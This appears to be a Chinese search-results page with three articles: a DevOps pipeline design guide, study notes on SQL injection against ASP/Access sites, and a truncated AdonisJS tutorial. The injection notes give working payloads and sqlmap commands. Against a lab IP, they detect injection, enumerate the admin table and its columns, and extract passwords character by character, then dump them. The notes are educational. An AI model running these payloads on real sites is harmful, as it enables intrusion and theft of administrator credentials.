首页> 搜索结果页
"数据库制作access" 检索
共 337 条结果
DevOps流水线设计的最佳实践
谈到到DevOps,持续交付流水线是绕不开的一个话题,相对于其他实践,通过流水线来实现快速高质量的交付价值是相对能快速见效的,特别对于开发测试人员,能够获得实实在在的收益。很多文章介绍流水线,不管是jenkins,gitlab-ci, 流水线,还是drone, github action 流水线, 文章都很多,但是不管什么工具,流水线设计的思路是一致的。于此同时,在实践过程中,发现大家对流水像有些误区,不是一大堆流水线,就是一个流水线调一个超级复杂的脚本,各种硬编码和环境依赖,所以希望通过这篇文章能够给大家分享自己对于Pipeline流水线的设计心得体会。概念持续集成 (Continuous Integration,CI)持续集成(CI)是在源代码变更后自动检测、拉取、构建和(在大多数情况下)进行单元测试的过程对项目而言,持续集成(CI)的目标是确保开发人员新提交的变更是好的,不会发生break build; 并且最终的主干分支一直处于可发布的状态,对于开发人员而言,要求他们必须频繁地向主干提交代码,相应也可以即时得到问题的反馈。实时获取到相关错误的信息,以便快速地定位与解决问题显然这个过程可以大大地提高开发人员以及整个IT团队的工作效率,避免陷入好几天得不到好的“部署产出”,影响后续的测试和交付。持续交付 (Continuous Delivery,CD)持续交付在持续集成的基础上,将集成后的代码部署到更贴近真实运行环境的「预发布环境」(production-like environments)中。交付给质量团队或者用户,以供评审。如果评审通过,代码就进入生产阶段 持续交付并不是指软件每一个改动都要尽快部署到产品环境中,它指的是任何的代码修改都可以在任何时候实时部署。强调: 1、手动部署 2、有部署的能力,但不一定部署持续部署 (Continuous Deployment, CD)代码通过评审之后,自动部署到生产环境中。持续部署是持续交付的最高阶段。 强调 1、持续部署是自动的 2、持续部署是持续交付的最高阶段 3、持续交付表示的是一种能力,持续部署则是一种方式流水线的编排设计参考: https://docs.gitlab.com/ee/ci/pipelines/pipeline_architectures.html这里非常推荐以版本控制系统为源的构建流水线设计,从每一位开发人员提交代码即可对当前提交代码进行检查编译构建,尽快将错误反馈给每位提交人员。对于DevOps流水线,主要是由各类任务串联起来,而对于任务本身又分为两张类型,一种是自动化任务,一种是人工执行任务。具体如下:自动化任务:包括了代码静态检查,构建,打包,部署,单元测试,环境迁移,自定义脚本运行等。人工任务:人工任务主要包括了检查审核,打标签基线,组件包制作等类似工作。而通常我们看到的流水线基本都由上述两类任务组合编排而成,一个流水线可以是完全自动化执行,也可以中间加入了人工干预节点,在人工干预处理后再继续朝下执行。比如流水线中到了测试部署完成后,可以到测试环境人工验证环节,只有人工验证通过再流转到迁移发布到生产环境动作任务。DevOps流水线实际上和我们原来经常谈到的持续集成最佳实践是相当类似的,较大的一个差异点就在于引入了容器化技术来实现自动化部署和应用托管。至于在DevOps实践中,是否必须马上将项目切换到微服务架构框架模式,反而不是必须得。在整个DevOps流水线中,我们实际上强调个一个关键点在于“一套Docker镜像文件+多套环境配置+多套构建版本标签”做法。以确保我们最终构建和测试通过的版本就是我们部署到生产环境的版本。构建操作只有一次,而后面到测试环境,到UAT环境,到生产环境,都属于是镜像的环境迁移和部署。而不涉及到需要再次重新打包的问题。这个是持续集成,也是DevOps的基本要求。流水线任务的标准化/原子化今天谈DevOps流水线编排,主要是对流水线编排本身的灵活性进一步思考。构建操作:构建我们通常采用Maven进行自动化构建,构建完成输出一个或多个Jar包或War包。注意常规方式下构建完执行进行部署操作,部署操作一般就是将构建的结果拷贝到我们的测试环境服务器,同时对初始化脚本进行启动等。而在DevOps下,该操作会变成两个操作,即一个打包,一个部署。打包是将构建完成的内容制作为镜像,部署是将镜像部署到具体的资源池和指定集群。打包镜像操作:实际上即基于构建完成的部署包来生成镜像。该操作一般首先基于一个基础镜像文件基础上进行,在基础镜像文件上拷贝和写入具体的部署包文件,同时在启动相应的初始化脚本。那么首先要考虑构建操作和打包操作如何松耦合开,打包操作简单来就是就是一个镜像制作,需要的是构建操作产生的输出。我们可以对其输出和需要拷贝的内容在构建的时候进行约定。而打包任务则是一个标准化的镜像制作任务,我们需要考虑的仅仅是基于1)基于哪个基础镜像 2)中间件容器默认目录设置 3)初始化启动命令。即在实际的打包任务设计的时候,我们不会指定具体的部署包和部署文件,这个完全由编排的时候由上游输入。部署操作:部署操作相当更加简单,重点就是将镜像部署到哪个资源池,哪个集群节点,初始化的节点配置等。具体部署哪个镜像不要指定,而是由上游任务节点输入。任务节点间松耦合设计的意义这种松耦合设计才能够使流水线编排更加灵活。比如我们在进行了构建打包后,我们希望同时讲打包内容部署到开发环境和测试环境。那么则是打包动作完成后需要对接两个应用部署任务。这两个部署任务都依托上面的打包结果进行自动化部署,可以并行进行。对于测试环境部署完成后,我们需要进行测试人员手工验证测试,如果测试通过,我们打标签后希望能够直接发布到UAT环境。而这种操作我们也希望在一个流水线来设计和完成。这样我们更加容易在持续集成看板上看到整个版本构建和迁移的完整过程。如果这是在一个大流水线里面,那么对于UAT环境部署任务就需要一直去追溯流水线上的最近的一个打包任务节点,同时取该任务节点产生的输出来进行相应的环境部署操作。在谈DevOps的时候,一个重点就是和QA/QC的协同,因此在流水线编排的时候一定要考虑各类测试节点,包括静态代码检查,自动化的单元测试,人工的测试验证。同时最好基于持续集成实践,能够将测试过程和整个自动化构建过程紧密结合起来。简单来说,测试人员发现build1.0.0001版本4个bug并提交,那么在下次自动化构建完成并单元测试通过后,测试人员能够很清楚的看到哪些Bug已经修改并可以在新构建的版本进行验证。只有这样才能够形成闭环,整个流水线作业才能够更好的发挥协同作用。流水线中蕴含的工程实践流水线除了任务步骤的编排,更重要的核心是最佳工程实践的体现。过去传统的思维,自动化就是写个shell/python脚本批量执行,在DevOps/微服务时代,这一招太out了,每种工程实践的背后都有需要解决的问题,通过在流水线设计中注入最佳的工程实践,可以让流水线的价值最大化,也让流水线更高级不是嘛。版本控制 - 解决的问题:需求和代码的关系,版本变化的跟踪最优的分支策略 - 解决的问题:版本发布和团队协作,某些情况会和环境有关系代码静态扫描 - 解决的问题: 开发规范和安全的问题80%以上的单元测试覆盖率 - 解决的问题:代码功能质量的问题,让测试左移漏洞(Vulnerability)扫描 - 解决的问题:部署环境/产品安全的问题开源工具扫描 - 解决的问题:解决供应链安全问题,别忘了log4j制品(Artifact)版本控制 - 解决的问题:制品的版本控制,制品的晋级,某些情况下环境的回滚环境自动创建 - 解决的问题:解决的是构建/部署环境一致性的问题,开发测的好好的,测试一验证怎么不行啊,容器化/云原生让这个问题更好的解决不可变服务器(Immutable Server ) - 解决的问题: 可能不好理解,打个比方如果如果你的服务器挂了,或者某次配置更改了服务就起不来了,使用不可变基础设施的主要好处是部署的简单性、可靠性和一致性,服务器可以随时替换上线集成测试 性能测试每次提交都触发:构建、部署和自动化测试 - 解决的问题:快速失败,避免下游时间的浪费自动化变更请求 - 解决问题:某些场景下通过状态变更触发某些动作零停机发布 - 解决的问题:滚动/蓝绿/灰度发布等,用户无感知功能开关 - 解决的问题: 主干开发中,如果某个功能没开放完,就通过on/off某个特性来让稳定的功能上线;还有一个场景,比如某些面对消费者的广告网站,想看看自己某个功能客户是否细化,通过功能开关看看市场反馈,一般和A/B测试配合基于场景设计流水线是否需要一条完整的流水线?流水线是越多越好,还是越少越好?建议按照场景来设计,一条流水线通吃所有流程是不现实的,搞了好多流水线(比如一个构建就一个流水线,一个复制操作就一个流水线)这些都是不可取的,维护成本巨大,得不偿失。流水线按照场景分类如下:端到端自动化流水线需求、代码构建、测试、部署环境内嵌自动化能力,每次提交都触发完整流水线提交阶段流水线(个人级)、验收阶段流水线(团队级)、部署阶段流水线(部署/发布)流水线自动化触发,递次自动化(制品)晋级;流水线任务按需串行、并行、特殊场景下跳过执行必要环节人工干预, e.g. 在手工测试、正式发布等环节导入手工确认环节,流水线牵引流动1)提交流水线代码提交到特性分支之后,自动会触发提交阶段流水线,主要用于基本的编译和测试,代码规约检查等,给与研发快速反馈,每个环节都可以通过Jenkins的界面获取日志和反馈信息。如果这个环节出现问题会在第一时间反馈出来,帮助研发及时修复,避免代码合入后阻塞主线分支。过程如下:提交即构建编译单测打包代码质量检查构建错误第一时间通知提交人以Jenkins实现为例,通过webhook触发CI构建,首先配置Jenkins项目使用generic webhook方式触发项目构建配置构建触发器参数(获取gitlab返回的数据,比如分支、用户等信息)配置构建触发器中的token(确保唯一,建议可以用项目名称)配置触发器中的请求过滤(merge_request,opend)其次是Gitlab的配置项目-》集成-》新建webhook填写webhook地址?token=projectNameMergeRequest操作触发剩下的就是编写Jenkinsfile了,下面列出几个关键点 1.获取gitlab数据中的分支名称,作为本次构建的分支名称。 2.获取gitlab数据中的用户邮箱,作为构建失败后通知对象。2)MR流水线过程如下:codereview配置分支保护创建合并请求对将代码审查结果在评论区展现由assignUser合并代码合并流水线设计:合并流水线的步骤其实跟提交流水线很类似,但是在代码质量检查的步骤中严格要求检查质量阈的状态,当质量阈状态为错误的时候,需要立即失败并通知发起人。第一次设计开发人员创建MR并指定AssignUser。CI工具开始对MR中的源分支进行编译构建打包代码检查。构建成功(代码质量没问题)在MR页面评论提示信息。构建失败在MR页面评论失败信息第二次设计(借助GitlabCI)- 优化点:加入MR构建失败拦截,成功自动合并项目配置当流水线成功时才能merge。开发人员创建MR并指定AssignUser。Jenkins开始对MR中的源分支的最后一次commit状态改为running。然后进行编译构建打包代码检查。构建成功,更新最后一次commit的状态为 success。构建失败,更新最后一次commit的状态为faild。3)SQL发布流水线除了代码有版本,其实SQL也有“版本的”,SQL脚本的版本对于产品的升级回滚至关重要。一般对SQL的集成,会包含如下要素构建环节,对SQL语法进行检查,避免打进包里语法是错的;某些情况下,多个开发会写不同的增量脚本,最后发布时候需要做脚本的合并SQL脚本的版本,某些情况下产品自身要用表来记录自身业务脚本的版本,通过产品版本来判断某些脚本是否应该被执行。当然,也有其他数据库版本管理工具,比如 flyway 和 liquibase;Flyway是独立于数据库的应用、管理并跟踪数据库变更的数据库版本管理工具。用通俗的话讲,Flyway可以像Git管理不同人的代码那样,管理不同人的sql脚本,从而做到数据库同步。liquibase 只是在功能上和Flyway有差异不管怎么样,它们底层的原理都是用另外的表记录SQL脚本的版本,升级更新是比较版本差异,来决定是否执行。python自带的model模块 python manage.py makemigrations 同样在做类似 的事情数据库版本管理最佳实践的载体-持续交付平台一个良好的持续交付平台应该具备什么能力?1. 自服务能力自服务能力是判断持续交付平台到底是不是完善的一个核心要素,即你可以依赖于我的平台,但是你不能依赖于我这个人。如果提供了一个持续交付平台,还依赖于人去做很多工作,这就没有做到自服务2.独立组合持续交付平台里很多功能可以独立使用,比如自动化测试,他是一个能力的集合,而能力之间没有强烈的耦合和依赖,是可以独立组合的。3.弱约束很多公司去设计持续交付平台的时候是强约束的,强约束即上线交付必须经过构建、测试、部署三个步骤,缺一不可,听起来很美,但实际上不同的项目类型,这样的流程和开发模式并不是满足实际需求。在这一点来说,我们的系统不要设计强约束的研发流程系统,而是提供一种能力,让大家可以自定义流程。4.快速上手对于内部产品来说,我们总觉得够用就行,而现在越来越强调产品化思路。之前有人说,我费了好大劲做的平台别人不用怎么办?只能说说你这个平台做得不够好。如果你提供一个平台可以解决问题,他还不想用,肯定有很多原因在里面,其中之一就是系统不能满足他的需求,用起来比不用还麻烦,那么这个系统设计之初就没有以用户思路来做事。5.内建实践通过平台内建很多实践,比如快速反馈。之前有人说,我建立流水线了,要紧急上线的话就走一个领导特批流程,或者快速上线流程,这就是设计流水线的时候还要给你一个口,领导一审批就绕过所有测试直达上线,这就违背了很多最佳实践。你用流水线的前提是梳理整个价值流,而且大家认可这个最佳实践,这是非常重要的。6.插件市场现在很多公司平台多了一个入口,叫Marketplace,像Github就有Marketplace,为什么会有插件市场?它就是提供一种可扩展能力,并且成为了一个生态系统。举个例子,我们之前要做针对JS的自动化测试,而流水线不具备这样的能力,但是某个做JS的团队自己有一个工具,我们可以把他作为一个插件集成到系统里,它就成为了系统的贡献者,而不只是一个用户。研发跟我们的关系从以前我提供服务,他来使用的关系,变成大家一起提供服务的关系。当持续交付平台做到足够成熟的时候,要考虑如何设计插件市场的能力。7.原生安全(DevSecOps)对很多公司来说,安全是第一红线,如果没有通过流水线去约束上线流程,怎么保证经过安全扫描呢?只有通过流水线,才能把安全机制和能力固定化到流水线里。流水线的关键元素不管你用什么CI/CD平台,开源的Jenkins, GitLab CI, Teckton, Drone,还是商用的Azure,阿里云效等,不管是代码化,还是可视化,流水线包含的元素基本都差不多,下面通过不同的示例来说明这些元素的作用和含义。参考:https://docs.gitlab.com/ee/ci/pipelines/https://learn.microsoft.com/en-us/azure/devops/pipelines/get-started/key-pipelines-concepts?view=azure-devopshttps://www.jenkins.io/doc/book/pipeline/Agent&Runner(执行代理)image: "registry.example.com/my/image:latest" #gitlab-cipool:  vmImage: ubuntu-latest  #auzureagent { label 'linux' }  //jenkinsagent {    docker {       image 'maven:3-alpine'       label 'Ubuntu'       args '-v /root/.m2:/root/.m2'    }}Parameter(参数变量)流水线级别参数 (全局参数),范围限于整个流水线运行时,可被整个流水线其他任务使用内置全局参数 - 一般称为built-in(预定义) variable, 有的平台成为环境变量export CI_JOB_ID="50"export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"export CI_COMMIT_SHORT_SHA="1ecfd275"export CI_COMMIT_REF_NAME="main"export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"1. BUILD_ID : 当前build的id2. BUILD_NUM : 当前build的在pipeline中的build num3. PIPELINE_NAME : pipeline 名称4. PIPELINE_ID: pipeline Id5. GROUP: pipeline 所属的group 名称6. TRIGGER_USER: 触发build的user(event触发的为触发gitlab event的user)7. STAGE_NAME: 当前运行的stage的名称8. STAGE_DISPLAY_NAME : 当前运行的stage的显示名称9. PIPELINE_URL : pipeline在ui中的网页的链接10. BUILD_URL: build 在ui的网页链接11. WORKSPACE: 当前stage运行的工作目录,通常用作拼接绝对路径非内置全局参数 environment {                 HARBOR_ACCESS_KEY = credentials('harbor-userpwd-pair')             SERVER_ACCESS_KEY = credentials('deploy-userpwd-pair')              GITLAB_API_TOKEN = credentials('gitlab_api_token_secret')           }外部参数 - 一般作为运行时参数variables:  TEST_SUITE:    description: "The test suite that will run. Valid options are: 'default', 'short', 'full'."    value: "default"  DEPLOY_ENVIRONMENT:    description: "Select the deployment target. Valid options are: 'canary', 'staging', 'production', or a stable branch of your choice."parameters([         separator(name: "PROJECT_PARAMETERS", sectionHeader: "Project Parameters"),        string(name: 'PROJECT_NAME', defaultValue: 'vue-app', description: '项目名称') ,        string(name: 'GIT_URL', defaultValue: 'git@git.xxxx.com.cn:devopsing/vuejs-docker.git', description: 'Git仓库URL') ,])步骤任务参数 (局部参数) - 一般作为某个插件任务的输入参数,也可以使用上个任务的输出作为参数,范围仅限于该任务内加密变量 - 对特殊变量进行加密处理secrets:  DATABASE_PASSWORD:    vault: production/db/password@ops  # translates to secret `ops/data/production/db`, field `password`Step(步骤)参考: https://docs.drone.io/pipeline/overview/---kind: pipelinetype: dockername: defaultsteps:- name: backend  image: golang  commands:  - go build  - go test- name: frontend  image: node  commands:  - npm install  - npm run test...Stage(阶段)一般用于对多个任务(step)进行分组归类,便于管理 stage('Pull code') {            steps {                echo 'Pull code...'                script {                    git branch: '${Branch_Or_Tags}', credentialsId: 'gitlab-private-key', url: 'git@git.xxxx.com.cn:xxxx/platform-frontend.git'                }            }}Trigger(触发器)trigger:- master- releases/*trigger_pipeline:stage: deployscript:- 'curl --fail --request POST --form token=$MY_TRIGGER_TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/123456/trigger/pipeline"'rules:- if: $CI_COMMIT_TAGenvironment: productiontrigger:  event:  - promote  target:  - productiontrigger:   type: cron   cron: '*/5 * * * *' #每5分钟执行一次制品归档&缓存 (artifacts&cache)一般用于CI制品的归档,以及CI构建的缓存archiveArtifacts artifacts: 'target/*.jar', fingerprint: truejob:  artifacts:    name: "$CI_JOB_NAME"    paths:      - binaries/cache: &global_cache  key: $CI_COMMIT_REF_SLUG  paths:    - node_modules/    - public/    - vendor/  policy: pull-push集成凭证(Credentials)参考:https://www.cnblogs.com/FLY_DREAM/p/13888423.htmlhttps://www.jenkins.io/doc/book/pipeline/jenkinsfile/#handling-credentials主要用于CI/CD流水线对接外部工具,通过token/pwd/private key等方式连接外部服务。一般需要在界面做些提前配置,生成token 或者凭证ID,将ID在CI/CD yaml 或jenkinsfile中使用withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD')]) {// available as an env variable, but will be masked if you try to print it out any which way// note: single quotes prevent Groovy interpolation; expansion is by Bourne Shell, which is what you wantsh 'echo $PASSWORD'// also available as a Groovy variableecho USERNAME// or inside double quotes for string interpolationecho "username is $USERNAME"}Service(服务)该元素应用于一些复杂的场景,比如需要一种外部(公共)服务为流水线提供某种输入或者结果。您可以将相互依赖的服务用于复杂的作业,例如端到端测试,其中外部API需要与自己的数据库通信。 例如,对于使用API的前端应用程序的端到端测试,并且API需要数据库:end-to-end-tests:  image: node:latest  services:    - name: selenium/standalone-firefox:${FIREFOX_VERSION}      alias: firefox    - name: registry.gitlab.com/organization/private-api:latest      alias: backend-api    - postgres:14.3  variables:    FF_NETWORK_PER_BUILD: 1    POSTGRES_PASSWORD: supersecretpassword    BACKEND_POSTGRES_HOST: postgres  script:    - npm install    - npm test模板(Template)参考: https://docs.drone.io/template/yaml/某些平台会使用“模板“的概念,其实就是复用的思想,通过加载固定模板实现一些快捷动作kind: templateload: plugin.yamldata:  name: name  image: image  commands: commandskind: pipelinetype: dockername: defaultsteps:   - name: {{ .input.name }}     image: {{ .input.image }}     commands:        - {{ .input.commands }}执行逻辑控制参考: https://docs.gitlab.com/ee/ci/pipelines/pipeline_architectures.htmlstage('run-parallel') {  steps {    parallel(      a: {        echo "task 1"      },      b: {        echo "task 2"      }    )  }}stage('Build') {            when {                environment name: 'ACTION_TYPE', value: 'CI&CD'            }            steps {                                buildDocker("vue")                                       } }stages:  - build  - test  - deployimage: alpinebuild_a:  stage: build  script:    - echo "This job builds something quickly."build_b:  stage: build  script:    - echo "This job builds something else slowly."test_a:  stage: test  needs: [build_a]  script:    - echo "This test job will start as soon as build_a finishes."    - echo "It will not wait for build_b, or other jobs in the build stage, to finish."test_b:  stage: test  needs: [build_b]  script:    - echo "This test job will start as soon as build_b finishes."    - echo "It will not wait for other jobs in the build stage to finish."deploy_a:  stage: deploy  needs: [test_a]  script:    - echo "Since build_a and test_a run quickly, this deploy job can run much earlier."    - echo "It does not need to wait for build_b or test_b."  environment: productiondeploy_b:  stage: deploy  needs: [test_b]  script:    - echo "Since build_b and test_b run slowly, this deploy job will run much later."  environment: production门禁审批参考:https://learn.microsoft.com/en-us/azure/devops/pipelines/release/deploy-using-approvals?view=azure-devopspipeline {    agent any    stages {        stage('Example') {            input {                message "Should we continue?"                ok "Yes, we should."                submitter "alice,bob"                parameters {                    string(name: 'PERSON', defaultValue: 'Mr Jenkins', description: 'Who should I say hello to?')                }            }            steps {                echo "Hello, ${PERSON}, nice to meet you."            }        }    }}pool:    vmImage: ubuntu-latestjobs:- job: waitForValidation  displayName: Wait for external validation    pool: server      timeoutInMinutes: 4320 # job times out in 3 days  steps:      - task: ManualValidation@0     timeoutInMinutes: 1440 # task times out in 1 day     inputs:         notifyUsers: |            someone@example.com         instructions: 'Please validate the build configuration and resume'         onTimeout: 'resume'部署流水线分步骤实施说了这么多,如果从0开始写流水线呢,可以按照下面的步骤,从“点”到“线”结合业务需要串起来,适合自己团队协作开发节奏的流水线才是最好的。对价值流进行建模并创建简单的可工作流程将构建和部署流程自动化将单元测试和代码分析自动化将验收测试自动化将发布自动化注意的事项开始写流水线需要注意一下几个方面,请考虑进去确定变量 - 哪些是你每次构建或者部署需要变化的,比如构建参数,代码地址,分支名称,安装版本,部署机器IP等,控制变化的,这样保证任务的可复制性,不要写很多hardcode进去变量/命名的规范化,不要为了一时之快,最后换个机器/换个项目,流水线就不能玩了,还要再改如果可以,最好是封装标准动作成为插件,甚至做成自研平台服务化,让更多团队受益如果你还在用手动的方式配置流水线,请尽快切换到代码方式,不管是jenkinsfile,还是yaml , 一切皆代码 也是DevOps提倡的。流水线案例案例-1案例-2
文章
SQL  ·  安全  ·  Devops  ·  jenkins  ·  测试技术  ·  持续交付  ·  API  ·  数据库  ·  Docker  ·  容器
2023-03-12
某教程学习笔记(一):07、数据库漏洞(access注入)
一、网站分类1、静态网页html或者htm是静态页面,不需要服务器解析其中的脚本特点:不依赖数据库,灵活性差,制作、更新、维护麻烦,交互性差,功能受限制,安全,不存在数据库注入漏洞2、动态页面asp/aspx/php/jsp等,由相应的脚本引擎来解释执行特点:以来数据库,灵活性好、交互性好、不安全,存在数据库注入漏洞二、网站访问流程三、漏洞产生原因目标网址:www.aiyou.com/new.php?id=231、正常流程数据库返回给网站new页面id为23的信息2、将参数值23修改为其他的sql语句3、网站未对该指令进行检测4、服务器执行了新的语句,并返回给网站5、客户端根据返回的信息可以继续进一步注入四、sql注入的危害1、数据库信息泄露2、网页被篡改3、网页被挂马4、数据库被恶意操作5、服务器被远程控制6、破快硬盘数据五、access数据库一般配合asp脚本使用,存储数据不能大于100M,只有一个数据库名称,可以创建多个表1、数据库后缀:*.mdb2、asp链接access数据库<% dimconn,connstr,db db="Your.mdb" Setconn= Server.CreateObject("ADODB.Connection") connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="& Server.MapPath(db) conn.Openconnstr %>3、常用打开工具EasyAccess4、漏洞判断目标:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513判断注入点:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513/ 报错,可能存在注入http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 返回正常http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 返回错误 存在注入http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exsits (select * from msysobjects) > 0 判断access数据库,根据错误提示在msysobjects上没有读取数据权限,说明表存在,从而知道是access数据库5、查询access数据空中的表http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from user) 根据错误判断除灭有user表http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from admin) 正常返回,说明存在admin表6、判断列名http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select password from admin),正常返回,说明存在列名password常用用户名:name username user_name admin adminuser admin_user admin_username adminname常用密码名:password pass userpass user_pass pwd userpwd adminpwd admin_pwd7、判断表的列数http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 ,正常返回说明有22列,如果没有正常继续修改该数字8、联合查询http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,知道admin表一共有22列,所以联合查询需要输入1-22,页面只显示3和15,可以修改该两列获取想要的数值六、另一种方法判断:1、http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and select len(password) from admin)=16 判断密码的长度,返回正常,说明密码长度为16。2、 http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 判断密码的第一位,返回正常,说明密码的第一位是a判断第二位,成功后修改该值,依次判断剩下的密码七、sqlmap工具利用目标地址:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=15131、测试是否存在漏洞sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513”2、获取表名sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” --tables3、获取列名sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” --columns -T admin4、获取指定列的内容sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” -T admin -C admin,password --dump禁止非法,后果自负
文章
SQL  ·  存储  ·  开发框架  ·  安全  ·  .NET  ·  Java  ·  PHP  ·  数据库  ·  数据安全/隐私保护
2023-02-17
AdonisJS 框架教程:构建全栈 Web 应用程序
AdonisJs是什么?AdonisJs 是一个基于 Laravel 的 Node.js 框架。它实现了依赖注入和提供者的相似概念、优美的代码和直观的设计。AdonisJs 旨在为开发人员带来工作中的快乐和轻松,这就是为什么它蔑视用于全栈 Web 应用程序开发的一致且富有表现力的 API。这个 Laravel 风格的 MVC 框架专注于创建可扩展、稳定和可扩展的 Web 应用程序的核心方面,例如:愉快的开发者体验一致的API速度和生产力支持邮件、身份验证、数据验证、Redis 等AdonisJs 优点和缺点让我们来看看 AdonisJs 最显着的优缺点。优点文件夹结构:  AdonisJs 提供了一个方便的文件夹结构,可以很容易地保持井井有条。验证器:  AdonisJs 提供了一个专用的验证提供程序,可以轻松验证用户输入Lucid ORM:  AdonisJs 对 MariaDB 和 MySQL 等数据库具有一流的支持。ICO 和服务提供商:  AdonisJs 提供了一种通过 IOC 管理依赖项的简单方法。服务提供商可以管理生命周期依赖性。安全性:  AdonisJs 附带了一些工具来保护网站免受常见的 Web 攻击,例如跨站点伪造保护。测试:  AdonisJS 使开发人员能够编写功能单元测试来测试他们的 Web 应用程序,从而减轻了手动测试的挑战。 缺点社区: 由于 AdonisJs 比较新且不太受欢迎,因此用户和支持社区很小。这意味着如果您遇到困难,您不太可能找到支持。文档:  AdonisJs 的文档目前不成熟,这意味着某些部分不完整。插件: 由于 AdonisJs 的受欢迎程度和年代久远,可用的插件较少未经过“实战测试”: 由于使用 AdonisJs 构建的大型网站较少,因此与其他框架相比,它尚未经过生产实战测试。AdonisJs文件夹结构现在我们有了一个正常运行的应用程序,让我们在开始我们的第一个应用程序之前了解更多关于它的文件结构。AdonisJs 具有 MVC 结构,可以轻松组织文件。这种结构使我们能够保持井井有条并在以后扩展文件。复习: 模型视图控制器 (MVC) 架构由三部分组成:模型:用于维护数据的最低级别的模式。查看:这使用户能够查看数据。Controller:控制Model和View的软件代码。让我们看看 AdonisJs 文件夹结构并定义一些关键术语。应用程序app 文件夹包含应用程序逻辑,包括:控制器: 它们控制逻辑流。控制器可以与路由绑定在一起。中间件: 中间件包含要在 HTTP 请求之前或之后执行的方法。模型: 这些定义了数据库模型和关系。可以在 app 文件夹中创建更多文件夹,如 Validators、Exceptions、Helpers 和 ModelFilter。配置这是我们的应用程序配置存储的地方。我们也可以在这里创建我们的配置文件。数据库我们使用此文件夹来存储迁移、种子和工厂。民众这是我们放置静态文件的地方,例如图像、CSS 和 JavaScript 文件。它们将直接通过 HTTP 调用。资源这是我们放置视图模板和 Edge 模板文件的地方。开始这些文件用于加载应用程序。这也是我们可以创建 Events、Redis 和 Hooks 等文件的地方。.env.env 文件位于根文件夹中。它将包含与我们的工作环境相关的所有变量。开发和生产通常有不同的设置。高手ace 文件用于执行特定于项目的命令。包.json这是一个标准的 Node.js 文件。服务器.js该文件引导 HTTP 服务器。创建一个基本的应用程序现在我们已经熟悉了 AdonisJs,让我们学习如何实际制作我们的第一个应用程序。入门非常简单。首先,您必须从官方网站下载 AdonisJs,或者您现在可以跟随 Educative 的嵌入式编码小部件。我们将从adonis可执行文件开始创建我们的第一个应用程序。在这个例子中,我们将制作一个博客应用程序。adonis new blog 复制代码此命令创建一个名为 blog 的新项目。接下来,我们将cd进入启动服务器的目录。cd blog npm run dev 复制代码输出:[nodemon] starting `node --harmony_proxies server.js` info adonis:framework serving app on http://localhost:3333 复制代码创建路线该start/routes.js文件定义了供用户访问的 URL 模式,作为 Web 应用程序的入口点。当用户请求 URL 时,Adonis 会在 中找到 URL 模式start/routes.js,因此如果模式匹配,Adonis 会处理该路由内的逻辑。我们可以将路由与控制器绑定为逻辑处理程序,并将路由附加到中间件和验证器。AdonisJs 提供了一个渲染视图的默认路由welcome.njk。要从头开始,我们必须先删除它。下面,我们实现了为主页和联系页面注册 2 个不同路由的代码。'use strict' const Route = use('Route') Route.on('/').render('home') Route.on('/contact').render('contact') 复制代码创建控制器控制器处理应用程序逻辑。它们与我们的模型、视图和助手相关联。控制器响应 HTTP 请求,因此它们不应该包含在其他文件中。提示: 尝试将控制器重构到单独的文件中,以避免代码混乱。'use strict' class TestController { hello(){ return 'Hello from Controller' } } module.exports = TestController 复制代码输出:“来自控制器的问候”在app/Controllers/Http/TestController.js文件中,我们创建了一个名为hello(). 我们在第 20 行访问控制器。TestController是控制器的名称,hello是方法的名称。创建视图视图是用户可见的组件。视图以扩展名保存在 resources/views 目录中.njk。下面,我们从上面为我们的页面创建两个视图。./ace make:view home ./ace make:view contact 复制代码Ace 是 Adonis 的命令行实用工具,用于制作视图、控制器和模型。我们可以在我们创建的文件中使用 HTML 添加到我们的视图。在下面的示例中,使用 Bootstrap 进行设计。<!DOCTYPE html> <html> <head> <link rel="stylesheet" href="https://cdn.rawgit.com/twbs/bootstrap/v4-dev/dist/css/bootstrap.css"> <link rel="stylesheet" href="/style.css"> </head> <body> <div class="container"> <div class="header clearfix"> <nav> <ul class="nav nav-pills pull-xs-right"> <li class="nav-item"><a href="/" class="nav-link">Home</a></li> <li class="nav-item"><a href="/about" class="nav-link">About</a></li> <li class="nav-item"><a href="/contact" class="nav-link">Contact</a></li> </ul> <h3 class="text-muted"> Adonis Blog </h3> </nav> </div> <section> {% block content %}{% endblock %} </section> </div> </body> </html> 复制代码从那里,我们可以将基本模板扩展到其他视图并在文件中添加 CSS public/style.css。AdonisJs 应用程序的一部分现在我们知道如何创建一个基本的应用程序,但使用 Adonis 仍然有很多问题。让我们回顾一下您需要了解的其他一些重要术语。中间件中间件是一组在 HTTP 请求到达路由器之前或之后运行的函数。中间件分为三种类型:服务器: 在请求到达路由器系统之前执行全局: 当路由模式匹配 URL 请求时执行。named: 